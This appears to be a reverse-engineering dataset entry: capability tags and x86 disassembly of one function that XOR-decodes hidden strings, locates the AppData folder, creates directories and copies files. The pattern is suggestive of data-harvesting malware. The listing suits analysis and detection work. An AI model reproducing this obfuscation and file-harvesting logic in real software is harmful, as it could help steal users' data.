Function at 0x4514a0
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5246d0
push eax
mov eax, 0x1c20
mov dword fs:[0], esp
call fcn.004f8970
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov al, byte [0x555ab7]
mov byte [ebp - 0x20], al
mov al, byte [0x555ab8]
push esi
mov byte [ebp - 0x10], al
mov al, byte [0x555aa8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0xd], al
cmp byte [0x555ab6], bl
je 0x451a3c
xorps xmm0, xmm0
mov dword [ebp - 0xfd], 0xbeb9aab7
movq qword [ebp - 0xf9], xmm0
xor ecx, ecx
mov byte [ebp - 0xf1], bl
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xfd], al
inc ecx
cmp ecx, 4
jb 0x451514
lea eax, [ebp - 0xfd]
mov dword [0x558588], ecx
push eax
lea ecx, [ebp - 0x1460]
mov byte [ebp - 0xf9], bl
call fcn.00402a50
lea ecx, [ebp - 0x1460]
mov dword [ebp - 4], 0
call fcn.00402af0
push eax
mov edx, 0x555aec
lea ecx, [ebp - 0x734]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1460]
mov byte [ebp - 4], 2
call fcn.004029b0
lea ecx, [ebp - 0x734]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x451a27
movaps xmm0, xmmword [0x5439f0]
xor ecx, ecx
mov byte [ebp - 0xe], 0
mov word [ebp - 0x343], 0xaab7
mov byte [ebp - 0x341], 0x84
movups xmmword [ebp - 0x340], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x343], al
inc ecx
cmp ecx, 0xa
jb 0x4515b4
lea eax, [ebp - 0x343]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1478]
mov byte [ebp - 0x339], 0
call fcn.00402a50
lea ecx, [ebp - 0x1478]
mov byte [ebp - 4], 3
call fcn.00402af0
push eax
lea edx, [ebp - 0x734]
lea ecx, [ebp - 0x89c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1478]
mov byte [ebp - 4], 5
call fcn.004029b0
push 0
lea ecx, [ebp - 0x89c]
call fcn.00402af0
push eax
call edi
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
je 0x45177b
push 0x104
lea eax, [ebp - 0x1b20]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x1b20]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x5439f0]
xor ecx, ecx
mov word [ebp - 0x356], 0xaab7
mov byte [ebp - 0x354], 0x84
movups xmmword [ebp - 0x353], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x356], al
inc ecx
cmp ecx, 0xa
jb 0x451680
lea eax, [ebp - 0x356]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1490]
mov byte [ebp - 0x34c], 0
call fcn.00402a50
lea ecx, [ebp - 0x1490]
mov byte [ebp - 4], 6
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1838]
call fcn.00402a50
push eax
lea edx, [ebp - 0x1b20]
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xb44]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1838]
call fcn.004029b0
lea ecx, [ebp - 0x1490]
mov byte [ebp - 4], 0xa
call fcn.004029b0
lea ecx, [ebp - 0xb44]
call fcn.00402af0
mov ecx, eax
call fcn.0040c630
test al, al
je 0x45175a
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x89c]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.0047faa0
sub esp, 0x18
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0xb44]
mov ecx, esp
push eax
call fcn.0047faa0
mov cl, byte [ebp - 0xf]
mov byte [ebp - 4], 0xa
call fcn.004108f0
add esp, 0x30
test eax, eax
jne 0x45175a
mov byte [ebp - 0xe], 1
jmp 0x45176c
push 0
mov dl, 1
lea ecx, [ebp - 0x89c]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb44]
mov byte [ebp - 4], 5
call fcn.004029b0
movaps xmm0, xmmword [0x543690]
xor ecx, ecx
mov dword [ebp - 0x17c], 0x9a82b8b7
mov dword [ebp - 0x178], 0x9db29c8e
movups xmmword [ebp - 0x174], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x17c], al
inc ecx
cmp ecx, 0xf
jb 0x4517a0
lea eax, [ebp - 0x17c]
mov dword [0x558508], ecx
push eax
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 0x16d], 0
call fcn.00402a50
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 4], 0xc
call fcn.00402af0
push eax
lea edx, [ebp - 0x734]
lea ecx, [ebp - 0x8b4]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x14a8]
mov byte [ebp - 4], 0xe
call fcn.004029b0
push 0
lea ecx, [ebp - 0x8b4]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x4519f9
push 0x104
lea eax, [ebp - 0x1c28]
push 0
push eax
call fcn.004f9bf0
add esp, 0xc
lea eax, [ebp - 0x1c28]
push eax
push 0
push 0
push 0x1a
push 0
call esi
movaps xmm0, xmmword [0x545120]
xor ecx, ecx
movups xmmword [ebp - 0x461], xmm0
mov dword [ebp - 0x451], 0x979395d5
xorps xmm0, xmm0
mov byte [ebp - 0x445], 0
movq qword [ebp - 0x44d], xmm0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x461], al
inc ecx
cmp ecx, 0x14
jb 0x451870
lea eax, [ebp - 0x461]
mov dword [0x5584f0], ecx
push eax
lea ecx, [ebp - 0x14c0]
mov byte [ebp - 0x44d], 0
call fcn.00402a50
lea ecx, [ebp - 0x14c0]
mov byte [ebp - 4], 0xf
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1850]
call fcn.00402a50
push eax
lea edx, [ebp - 0x1c28]
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xb2c]
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1850]
call fcn.004029b0
lea ecx, [ebp - 0x14c0]
mov byte [ebp - 4], 0x13
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xb2c]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x4519d8
movaps xmm0, xmmword [0x543fe0]
xor ecx, ecx
mov dword [ebp - 0x2c7], 0x968e9bb7
mov byte [ebp - 0x2c3], 0xb0
movups xmmword [ebp - 0x2c2], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x2c7], al
inc ecx
cmp ecx, 0xc
jb 0x451940
lea eax, [ebp - 0x2c7]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 0x2bb], 0
call fcn.00402a50
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 4], 0x14
call fcn.00402af0
push eax
lea edx, [ebp - 0x8b4]
lea ecx, [ebp - 0x1868]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xb2c]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1868]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x14d8]
mov byte [ebp - 4], 0x13
call fcn.004029b0
test esi, esi
je 0x4519d8
mov byte [ebp - 0xe], 1
jmp 0x4519ea
push 0
mov dl, 1
lea ecx, [ebp - 0x8b4]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb2c]
mov byte [ebp - 4], 0xe
call fcn.004029b0
cmp byte [ebp - 0xe], 0
jne 0x451a11
push 0
mov dl, 1
lea ecx, [ebp - 0x734]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0x8b4]
call fcn.004029b0
lea ecx, [ebp - 0x89c]
call fcn.004029b0
lea ecx, [ebp - 0x734]
mov dword [ebp - 4], 0xffffffff
call fcn.004029b0
mov al, byte [ebp - 0xd]
test al, al
je 0x453aa7
xorps xmm0, xmm0
mov dword [ebp - 0x50], 0x838cabb7
mov word [ebp - 0x4c], 0x838a
xor ecx, ecx
movq qword [ebp - 0x4a], xmm0
mov byte [ebp - 0x42], 0
nop
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x50], al
inc ecx
cmp ecx, 6
jb 0x451a60
lea eax, [ebp - 0x50]
mov dword [0x5584f8], ecx
push eax
lea ecx, [ebp - 0x14f0]
mov byte [ebp - 0x4a], 0
call fcn.00402a50
lea ecx, [ebp - 0x14f0]
mov dword [ebp - 4], 0x15
call fcn.00402af0
push eax
mov edx, 0x555aec
lea ecx, [ebp - 0x2e0]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x14f0]
mov byte [ebp - 4], 0x17
call fcn.004029b0
lea ecx, [ebp - 0x2e0]
call fcn.00402af0
push 0
push eax
call edi
test eax, eax
je 0x453a95
movaps xmm0, xmmword [0x5439e0]
xor ecx, ecx
mov byte [ebp - 0xd], 0
mov word [ebp - 0x369], 0xabb7
mov byte [ebp - 0x367], 0x9f
movups xmmword [ebp - 0x366], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x369], al
inc ecx
cmp ecx, 0xa
jb 0x451b00
lea eax, [ebp - 0x369]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1508]
mov byte [ebp - 0x35f], 0
call fcn.00402a50
lea ecx, [ebp - 0x1508]
mov byte [ebp - 4], 0x18
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x8cc]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1508]
mov byte [ebp - 4], 0x1a
call fcn.004029b0
push 0
lea ecx, [ebp - 0x8cc]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x451d9a
movaps xmm0, xmmword [0x545e80]
xor ecx, ecx
movups xmmword [ebp - 0x47d], xmm0
mov word [ebp - 0x46d], 0x9d9f
xorps xmm0, xmm0
mov byte [ebp - 0x46b], 0x89
movq qword [ebp - 0x46a], xmm0
mov byte [ebp - 0x462], 0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x47d], al
inc ecx
cmp ecx, 0x13
jb 0x451bb0
lea eax, [ebp - 0x47d]
mov dword [0x558558], ecx
push eax
lea ecx, [ebp - 0x1538]
mov byte [ebp - 0x46a], 0
call fcn.00402a50
lea ecx, [ebp - 0x1538]
mov byte [ebp - 4], 0x1b
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1880]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x1c
xor ecx, ecx
movaps xmm0, xmmword [0x5440e0]
mov dword [ebp - 0x273], 0xafaea3a7
mov byte [ebp - 0x26f], 0xa3
movups xmmword [ebp - 0x26e], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x273], al
inc ecx
cmp ecx, 0xc
jb 0x451c22
lea eax, [ebp - 0x273]
mov dword [0x5584d8], ecx
push eax
lea ecx, [ebp - 0x1520]
mov byte [ebp - 0x267], 0
call fcn.00402a50
lea ecx, [ebp - 0x1520]
mov byte [ebp - 4], 0x1d
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xb14]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1520]
call fcn.004029b0
lea ecx, [ebp - 0x1880]
call fcn.004029b0
lea ecx, [ebp - 0x1538]
mov byte [ebp - 4], 0x21
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xb14]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x451d79
movaps xmm0, xmmword [0x543520]
xor ecx, ecx
mov word [ebp - 0x432], 0x9fb7
movups xmmword [ebp - 0x430], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x432], al
inc ecx
cmp ecx, 9
jb 0x451ce1
lea eax, [ebp - 0x432]
mov dword [0x5585e0], ecx
push eax
lea ecx, [ebp - 0x1550]
mov byte [ebp - 0x429], 0
call fcn.00402a50
lea ecx, [ebp - 0x1550]
mov byte [ebp - 4], 0x22
call fcn.00402af0
push eax
lea edx, [ebp - 0x8cc]
lea ecx, [ebp - 0x1898]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xb14]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1898]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x1550]
mov byte [ebp - 4], 0x21
call fcn.004029b0
test esi, esi
je 0x451d79
mov byte [ebp - 0xd], 1
jmp 0x451d8b
push 0
mov dl, 1
lea ecx, [ebp - 0x8cc]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb14]
mov byte [ebp - 4], 0x1a
call fcn.004029b0
movaps xmm0, xmmword [0x543100]
xor ecx, ecx
mov word [ebp - 0x3c8], 0xa1b7
mov byte [ebp - 0x3c6], 0x84
movups xmmword [ebp - 0x3c5], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x3c8], al
inc ecx
cmp ecx, 0xa
jb 0x451dc0
lea eax, [ebp - 0x3c8]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0x1568]
mov byte [ebp - 0x3be], 0
call fcn.00402a50
lea ecx, [ebp - 0x1568]
mov byte [ebp - 4], 0x23
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x6a0]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0x1568]
mov byte [ebp - 4], 0x25
call fcn.004029b0
push 0
lea ecx, [ebp - 0x6a0]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x452485
movaps xmm0, xmmword [0x545500]
xor ecx, ecx
movups xmmword [ebp - 0x7c0], xmm0
mov byte [ebp - 0xe], 0
movaps xmm0, xmmword [0x544e70]
movups xmmword [ebp - 0x7b0], xmm0
mov word [ebp - 0x7a0], 0x6264
xorps xmm0, xmm0
mov byte [ebp - 0x796], 0
movq qword [ebp - 0x79e], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x7c0], al
inc ecx
cmp ecx, 0x22
jb 0x451e80
lea eax, [ebp - 0x7c0]
mov dword [0x5584dc], ecx
push eax
lea ecx, [ebp - 0x1598]
mov byte [ebp - 0x79e], 0
call fcn.00402a50
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x26
call fcn.00402af0
push eax
lea ecx, [ebp - 0x18b0]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x27
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x5fa], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x5fa], al
inc ecx
cmp ecx, 7
jb 0x451ee1
lea eax, [ebp - 0x5fa]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1580]
mov byte [ebp - 0x5f3], 0
call fcn.00402a50
lea ecx, [ebp - 0x1580]
mov byte [ebp - 4], 0x28
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xbec]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1580]
call fcn.004029b0
lea ecx, [ebp - 0x18b0]
call fcn.004029b0
lea ecx, [ebp - 0x1598]
mov byte [ebp - 4], 0x2c
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xbec]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x45203f
movaps xmm0, xmmword [0x5454e0]
xor ecx, ecx
movups xmmword [ebp - 0x9df], xmm0
movaps xmm0, xmmword [0x542fd0]
movups xmmword [ebp - 0x9cf], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9df], al
inc ecx
cmp ecx, 0x17
jb 0x451fa5
lea eax, [ebp - 0x9df]
mov dword [0x55856c], ecx
push eax
lea ecx, [ebp - 0x15b0]
mov byte [ebp - 0x9c8], 0
call fcn.00402a50
lea ecx, [ebp - 0x15b0]
mov byte [ebp - 4], 0x2d
call fcn.00402af0
push eax
lea edx, [ebp - 0x6a0]
lea ecx, [ebp - 0x18c8]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xbec]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x18c8]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x15b0]
mov byte [ebp - 4], 0x2c
call fcn.004029b0
test esi, esi
je 0x45203f
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x545500]
xor ecx, ecx
movups xmmword [ebp - 0xcdd], xmm0
mov byte [ebp - 0xcbd], 0x62
movaps xmm0, xmmword [0x544f10]
movups xmmword [ebp - 0xccd], xmm0
movaps xmm0, xmmword [str.ma_rx]
movups xmmword [ebp - 0xcbc], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xcdd], al
inc ecx
cmp ecx, 0x28
jb 0x452072
lea eax, [ebp - 0xcdd]
mov dword [0x558534], ecx
push eax
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 0xcb5], 0
call fcn.00402a50
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 4], 0x2e
call fcn.00402af0
push eax
lea ecx, [ebp - 0x18e0]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x2f
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x52a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x52a], al
inc ecx
cmp ecx, 7
jb 0x4520d3
lea eax, [ebp - 0x52a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 0x523], 0
call fcn.00402a50
lea ecx, [ebp - 0x15c8]
mov byte [ebp - 4], 0x30
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xb74]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x15c8]
call fcn.004029b0
lea ecx, [ebp - 0x18e0]
call fcn.004029b0
lea ecx, [ebp - 0x15e0]
mov byte [ebp - 4], 0x34
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xb74]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x45224a
movaps xmm0, xmmword [0x545060]
xor ecx, ecx
movups xmmword [ebp - 0x51a], xmm0
mov dword [ebp - 0x50a], 0x9098989e
movaps xmm0, xmmword [str._npgoi]
mov word [ebp - 0x506], 0x698b
movups xmmword [ebp - 0x504], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x51a], al
inc ecx
cmp ecx, 0x1d
jb 0x4521b0
lea eax, [ebp - 0x51a]
mov dword [0x558574], ecx
push eax
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 0x4fd], 0
call fcn.00402a50
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x35
call fcn.00402af0
push eax
lea edx, [ebp - 0x6a0]
lea ecx, [ebp - 0x18f8]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xb74]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x18f8]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x15f8]
mov byte [ebp - 4], 0x34
call fcn.004029b0
test esi, esi
je 0x45224a
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 1
movaps xmm0, xmmword [0x545500]
xor ecx, ecx
movups xmmword [ebp - 0x7eb], xmm0
mov word [ebp - 0x7cb], 0x6264
movaps xmm0, xmmword [0x544e60]
movups xmmword [ebp - 0x7db], xmm0
mov byte [ebp - 0x7c1], 0
xorps xmm0, xmm0
movq qword [ebp - 0x7c9], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x7eb], al
inc ecx
cmp ecx, 0x22
jb 0x452283
lea eax, [ebp - 0x7eb]
mov dword [0x5584dc], ecx
push eax
lea ecx, [ebp - 0x1628]
mov byte [ebp - 0x7c9], 0
call fcn.00402a50
lea ecx, [ebp - 0x1628]
mov byte [ebp - 4], 0x36
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1910]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x37
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x53a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x53a], al
inc ecx
cmp ecx, 7
jb 0x4522e4
lea eax, [ebp - 0x53a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0x1610]
mov byte [ebp - 0x533], 0
call fcn.00402a50
lea ecx, [ebp - 0x1610]
mov byte [ebp - 4], 0x38
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xafc]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0x1610]
call fcn.004029b0
lea ecx, [ebp - 0x1910]
call fcn.004029b0
lea ecx, [ebp - 0x1628]
mov byte [ebp - 4], 0x3c
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xafc]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x452448
movaps xmm0, xmmword [0x5456a0]
xor ecx, ecx
movups xmmword [ebp - 0x9ff], xmm0
movaps xmm0, xmmword [0x542fe0]
movups xmmword [ebp - 0x9ef], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x9ff], al
inc ecx
cmp ecx, 0x17
jb 0x4523b0
lea eax, [ebp - 0x9ff]
mov dword [0x55856c], ecx
push eax
lea ecx, [ebp - 0x1640]
mov byte [ebp - 0x9e8], 0
call fcn.00402a50
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x3d
call fcn.00402af0
push eax
lea edx, [ebp - 0x6a0]
lea ecx, [ebp - 0x1928]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xafc]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1928]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0x1640]
mov byte [ebp - 4], 0x3c
call fcn.004029b0
test esi, esi
je 0x452448
mov byte [ebp - 0xd], 1
jmp 0x452460
cmp byte [ebp - 0xe], 0
jne 0x452460
push 0
mov dl, 1
lea ecx, [ebp - 0x6a0]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xafc]
call fcn.004029b0
lea ecx, [ebp - 0xb74]
call fcn.004029b0
lea ecx, [ebp - 0xbec]
mov byte [ebp - 4], 0x25
call fcn.004029b0
movaps xmm0, xmmword [0x543460]
xor ecx, ecx
mov word [ebp - 0x37c], 0xb8b7
mov byte [ebp - 0x37a], 0xa1
movups xmmword [ebp - 0x379], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x37c], al
inc ecx
cmp ecx, 0xa
jb 0x4524a5
lea eax, [ebp - 0x37c]
mov dword [0x558590], ecx
push eax
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 0x372], 0
call fcn.00402a50
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 4], 0x3e
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x914]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xcf8]
mov byte [ebp - 4], 0x40
call fcn.004029b0
push 0
lea ecx, [ebp - 0x914]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x452759
movaps xmm0, xmmword [0x545c80]
xor ecx, ecx
movups xmmword [ebp - 0x773], xmm0
mov dword [ebp - 0x743], 0x6d773268
movaps xmm0, xmmword [0x544ef0]
movups xmmword [ebp - 0x763], xmm0
mov word [ebp - 0x73f], 0x4e70
movaps xmm0, xmmword [str.gmx_lxt_Ldgyqqu]
movups xmmword [ebp - 0x753], xmm0
mov byte [ebp - 0x735], 0
xorps xmm0, xmm0
movq qword [ebp - 0x73d], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x773], al
inc ecx
cmp ecx, 0x36
jb 0x452571
lea eax, [ebp - 0x773]
mov dword [0x558560], ecx
push eax
lea ecx, [ebp - 0xd28]
mov byte [ebp - 0x73d], 0
call fcn.00402a50
lea ecx, [ebp - 0xd28]
mov byte [ebp - 4], 0x41
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1940]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x42
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
movups xmmword [ebp - 0x54a], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x54a], al
inc ecx
cmp ecx, 7
jb 0x4525d2
lea eax, [ebp - 0x54a]
mov dword [0x558510], ecx
push eax
lea ecx, [ebp - 0xd10]
mov byte [ebp - 0x543], 0
call fcn.00402a50
lea ecx, [ebp - 0xd10]
mov byte [ebp - 4], 0x43
call fcn.00402af0
push eax
call fcn.00506621
add esp, 4
lea ecx, [ebp - 0xb5c]
mov edx, eax
push esi
call fcn.004839c0
add esp, 4
lea ecx, [ebp - 0xd10]
call fcn.004029b0
lea ecx, [ebp - 0x1940]
call fcn.004029b0
lea ecx, [ebp - 0xd28]
mov byte [ebp - 4], 0x47
call fcn.004029b0
sub esp, 0x18
lea ecx, [ebp - 0xb5c]
mov esi, esp
call fcn.00402af0
push eax
mov ecx, esi
call fcn.00402a50
call fcn.0040c4c0
add esp, 0x18
test al, al
je 0x452738
movaps xmm0, xmmword [0x5454b0]
xor ecx, ecx
movups xmmword [ebp - 0x80c], xmm0
mov byte [ebp - 0x7fc], 0x97
movaps xmm0, xmmword [0x542fa0]
movups xmmword [ebp - 0x7fb], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x80c], al
inc ecx
cmp ecx, 0x18
jb 0x4526a0
lea eax, [ebp - 0x80c]
mov dword [0x558520], ecx
push eax
lea ecx, [ebp - 0xd40]
mov byte [ebp - 0x7f4], 0
call fcn.00402a50
lea ecx, [ebp - 0xd40]
mov byte [ebp - 4], 0x48
call fcn.00402af0
push eax
lea edx, [ebp - 0x914]
lea ecx, [ebp - 0x1958]
call fcn.004838a0
add esp, 4
mov ecx, eax
call fcn.00402af0
lea ecx, [ebp - 0xb5c]
mov esi, eax
call fcn.00402af0
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [ebp - 0x1958]
mov esi, eax
call fcn.004029b0
lea ecx, [ebp - 0xd40]
mov byte [ebp - 4], 0x47
call fcn.004029b0
test esi, esi
je 0x452738
mov byte [ebp - 0xd], 1
jmp 0x45274a
push 0
mov dl, 1
lea ecx, [ebp - 0x914]
call fcn.0040c680
add esp, 4
lea ecx, [ebp - 0xb5c]
mov byte [ebp - 4], 0x40
call fcn.004029b0
movaps xmm0, xmmword [0x543710]
xor ecx, ecx
mov dword [ebp - 0x1c1], 0x8f88aab7
mov word [ebp - 0x1bd], 0x989b
mov byte [ebp - 0x1bb], 0x94
movups xmmword [ebp - 0x1ba], xmm0
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0x1c1], al
inc ecx
cmp ecx, 0xe
jb 0x452783
lea eax, [ebp - 0x1c1]
mov dword [0x5584d4], ecx
push eax
lea ecx, [ebp - 0xd58]
mov byte [ebp - 0x1b3], 0
call fcn.00402a50
lea ecx, [ebp - 0xd58]
mov byte [ebp - 4], 0x49
call fcn.00402af0
push eax
lea edx, [ebp - 0x2e0]
lea ecx, [ebp - 0x83c]
call fcn.004838a0
add esp, 4
lea ecx, [ebp - 0xd58]
mov byte [ebp - 4], 0x4b
call fcn.004029b0
push 0
lea ecx, [ebp - 0x83c]
call fcn.00402af0
push eax
call edi
test eax, eax
je 0x452a0a
movaps xmm0, xmmword [0x5454d0]
xor ecx, ecx
movups xmmword [ebp - 0xa1f], xmm0
movaps xmm0, xmmword [0x542fd0]
movups xmmword [ebp - 0xa0f], xmm0
nop dword [eax]
mov al, cl
sub al, 0x15
xor byte [ebp + ecx - 0xa1f], al
inc ecx
cmp ecx, 0x17
jb 0x452820
lea eax, [ebp - 0xa1f]
mov dword [0x55856c], ecx
push eax
lea ecx, [ebp - 0xd88]
mov byte [ebp - 0xa08], 0
call fcn.00402a50
lea ecx, [ebp - 0xd88]
mov byte [ebp - 4], 0x4c
call fcn.00402af0
push eax
lea ecx, [ebp - 0x1970]
call fcn.00402a50
mov esi, eax
mov byte [ebp - 4], 0x4d
xor ecx, ecx
movaps xmm0, xmmword [0x544070]
